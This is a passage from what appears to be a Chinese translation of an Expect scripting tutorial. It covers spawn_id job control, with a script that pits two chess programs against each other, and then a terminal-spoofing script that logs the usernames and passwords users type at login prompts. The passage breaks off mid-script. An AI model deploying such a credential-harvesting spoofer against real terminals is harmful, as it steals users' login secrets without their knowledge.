7. 的描述符。由 spawn_id 描述的进程就被认为是当前进程(这个描述符恰恰就是伪终端文件的描述符,虽然用
户把它当作一个不透明的物体)。expect 和 send 命令仅仅和当前进程进行交互。所以,切换一个作业所需要
做的仅仅是把该进程的描述符赋给 spawn_id。
这儿有一个例子向我们展示了如何通过作业控制来使两个 chess 进程进行交互。在派生完两个进程之后,
一个进程被通知先动一步。在下面的循环里面,每一步动作都送给另外一个进程。其中,read_move 和
write_move 两个过程留给读者来实现(实际上,它们的实现非常的容易,但是,由于太长了所以没有包含在
这里)。
spawn chess ;# start player one
set id1 $spawn_id
expect "Chess "
send "first " ;# force it to go first
read_move
spawn chess ;# start player two
set id2 $spawn_id
expect "Chess "
for {} {1} {}{
send_move
read_move
set spawn_id $id1
send_move
read_move
set spawn_id $id2
}
有一些应用程序和 chess 程序不太一样,在 chess 程序里,得两个玩家轮流动。下面这个脚本实现了一
个冒充程序。它能够控制一个终端以便用户能够登录和正常的工作。但是,一旦系统提示输入密码或者输入用
户名的时候,expect 就开始把击键记下来,一直到用户按下回车键。这有效的收集了用户的密码和用户名,
还避免了普通的冒充程序的"Incorrect password-tryagain"。而且,如果用户连接到另外一个主机上,
那些额外的登录也会被记录下来。
spawn tip /dev/tty17 ;# open connection to
set tty $spawn_id ;# tty to be spoofed
spawn login
set login $spawn_id
log_user 0
for {} {1} {} {
set ready [select $tty $login]
case $login in $ready {
set spawn_id $login
expect
{"*password*" "*login*"}{
send_user $expect_match
set log 1
}
"*" ;# ignore everything else
set spawn_id $tty;
send $expect_match
}
case $tty in $ready {
set spawn_id $tty
expect "* *"{
if $log {
send_user $expect_match
set log 0